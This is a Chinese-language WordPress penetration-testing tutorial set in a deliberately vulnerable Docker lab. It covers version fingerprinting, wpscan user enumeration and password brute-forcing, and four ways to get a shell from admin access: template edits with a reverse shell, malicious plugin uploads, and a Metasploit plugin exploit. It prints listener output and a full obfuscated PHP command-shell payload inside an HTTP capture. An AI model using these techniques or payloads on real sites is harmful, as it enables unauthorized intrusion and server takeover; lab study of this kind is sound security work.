以/?feed=rss为例 可以在?v参数中发现版本号

OPML

OPML(Outline Processor Markup Language)是一种基于XML的格式,用于交换轮廓结构的信息。轮廓结构通常指的是嵌套的文本列表,类似于大纲或树状结构。OPML在多种应用中都很有用,尤其是在共享和迁移RSS订阅列表的场景中。
但此文件也会纰漏版本信息

MD5比较

通过比对js静态文件md5与特征库中的md5来判断cms版本 这也是漏扫工具进行指纹识别的常用方法
使用find命令结合参数计算所有js文件md5

md5特征库可以查看这个项目https://github.com/philipjohn/exploit-scanner-hashes

2.3 getshell测试案例

环境使用wpscan开发团队提供的VulnerableWordpress进行部署 版本为4.2.1

-> git clone https://github.com/wpscanteam/VulnerableWordpress.git
-> cd VulnerableWordpress/
-> docker build --rm -t wpscan/vulnerablewordpress .\
-> docker run --name vulnerablewordpress -d -p 81:80 -p 3307:3306 wpscan/vulnerablewordpress

访问127.0.0.1:81 初始化过程略

使用wpscan进行用户枚举

-> wpscan --url http://localhost:81/ --enumerate
[i] User(s) Identified:

[+] may
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

获得用户名may,爆破密码

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
Progress Time: 00:00:00 <===========================================================================================================> (0 / 0) 100.0% Time: 00:00:00
WARNING: Your progress bar is currently at 0 out of 0 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Progress Time: 00:00:00 <===========================================================================================================> (0 / 0) 100.0% Time: 00:00:00
[SUCCESS] - may / 123456
All Found

得到用户名密码may/123456
得到管理员用户密码就可以使用后台getshell的常用手法 下文将演示常见方法

方法1、修改模板

后台 -> 外观 -> 编辑
通过在index.php、404.php等模板中嵌入恶意代码进行正向或反连shell
嵌入php_reverse_shell.php代码
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

使用metasploit等工具建立监听

msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/reverse_php):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT  9999             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

更新index.php后访问wordpress首页即可接收到shell

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:9999
[*] Command shell session 10 opened (192.168.0.106:9999 -> 192.168.0.106:58096) at 2024-01-22 20:54:00 +0800


Shell Banner:
Linux 2036cf3ffda3 6.5.13-orbstack-00121-ge428743e4e98 #1 SMP Wed Dec 27 10:22:46 UTC 2023 aarch64 aarch64 aarch64 GNU/Linux
 12:53:55 up  1:07,  0 users,  load average: 1.32, 1.06, 0.89
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

方法2、zip上传

将php_reverse_shell.php压缩为zip 在插件安装页面上传zip

建立监听 稍等片刻即可获得shell

方法3、php上传

直接在插件安装页面上传php_reverse_shell.php 然后在/wp-content/includes/中访问
上传过程中会发生报错 但不影响文件正常上传和访问

方法4、安装脆弱插件

比如安装wp_responsive-thumbnail-slider 1.0
https://github.com/wp-plugins/wp-responsive-thumbnail-slider/blob/master/wp-responsive-images-thumbnail-slider.php

安装并启用后使用metasploit的multi/http/wp_responsive_thumbnail_slider_upload模块进行攻击
但在使用这个模块时发现攻击不成功 打开msfconsole的httptrace功能 检查一下交互流量
shell上传流量 响应状态码200 检查后发现文件上传成功

POST /wp-admin/admin.php?page=responsive_thumbnail_slider_image_management/&action=addedit HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_logged_in_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7C813c527b5d99bb083c2e43068cc63c66c41836fc5d3fc42883b8390f8da744a2;
Content-Type: multipart/form-data; boundary=---------------------------743289811480519521793446209521
Content-Length: 2471

-----------------------------743289811480519521793446209521
Content-Disposition: form-data; name="image_name"; filename="KSXrN.php"
Content-Type: image/jpeg

<?php @unlink(__FILE__); /*<?php /**/  @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);  $BDQbE=@ini_get('disable_functions');  if(!empty($BDQbE)){  $BDQbE=preg_replace('/[, ]+/',',',$BDQbE);  $BDQbE=explode(',',$BDQbE);  $BDQbE=array_map('trim',$BDQbE);  }else{  $BDQbE=array();  }    $port=9999;   $scl='socket_create_listen';  if(is_callable($scl)&&!in_array($scl,$BDQbE)){  $sock=@$scl($port);  }else{  $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);  $ret=@socket_bind($sock,0,$port);  $ret=@socket_listen($sock,5);  }  $msgsock=@socket_accept($sock);  @socket_close($sock);   while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))  {  $o = '';  $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);  if(FALSE===$c){break;}  if(substr($c,0,3) == 'cd '){  chdir(substr($c,3,-1));  } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {  break;  }else{    if (FALSE !== stristr(PHP_OS, 'win' )) {  $c=$c." 2>&1\n";  }  $PFeofv='is_callable';  $jikigJe='in_array';    if($PFeofv('shell_exec')&&!$jikigJe('shell_exec',$BDQbE)){  $o=`$c`;  }else  if($PFeofv('exec')&&!$jikigJe('exec',$BDQbE)){  $o=array();  exec($c,$o);  $o=join(chr(10),$o).chr(10);  }else  if($PFeofv('system')&&!$jikigJe('system',$BDQbE)){  ob_start();  system($c);  $o=ob_get_contents();  ob_end_clean();  }else  if($PFeofv('passthru')&&!$jikigJe('passthru',$BDQbE)){  ob_start();  passthru($c);  $o=ob_get_contents();  ob_end_clean();  }else  if($PFeofv('popen')&&!$jikigJe('popen',$BDQbE)){  $fp=popen($c,'r');  $o=NULL;  if(is_resource($fp)){  while(!feof($fp)){  $o.=fread($fp,1024);  }  }  @pclose($fp);  }else  if($PFeofv('proc_open')&&!$jikigJe('proc_open',$BDQbE)){  $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);  $o=NULL;  while(!feof($pipes[1])){  $o.=fread($pipes[1],1024);  }  @proc_close($handle);  }else  {  $o=0;  }    }  @socket_write($msgsock,$o,strlen($o));  }  @socket_close($msgsock);  ?>
-----------------------------743289811480519521793446209521
Content-Disposition: form-data; name="imagetitle"

KSXrN
-----------------------------743289811480519521793446209521
Content-Disposition: form-data; name="btnsave"

Save Changes
-----------------------------743289811480519521793446209521--

接下来模块访问了/wp-content/uploads/wp-responsive-images-thumbnail-slider/0c2a53f9bbc963addd5de93663f4a35d.php

GET /wp-content/uploads/wp-responsive-images-thumbnail-slider/0c2a53f9bbc963addd5de93663f4a35d.php HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7Cc6f4177388dc93f4dbf79d2e82f47164644463acddf110de7c2abfbe1c97e5d7; wordpress_logged_in_6c4a121fd069bf4e2556e12b7efdd957=may%7C1706103384%7Cui79L7HaD6Tg7KSz4Klp4rrYC5nGMuTiSyjaHFqiA8A%7C813c527b5d99bb083c2e43068cc63c66c41836fc5d3fc42883b8390f8da744a2;

但我们到/wp-content/uploads/wp-responsive-images-thumbnail-slider/发现文件名与模块访问的文件不一致
导致响应404 msf自然就没有接收到shell
猜测这是wordpress版本差异 文件的命名方式有所不同导致的问题
在实际渗透中 可以通过插件漏洞手动上传php_reverse_shell.php 然后进行访问反弹shell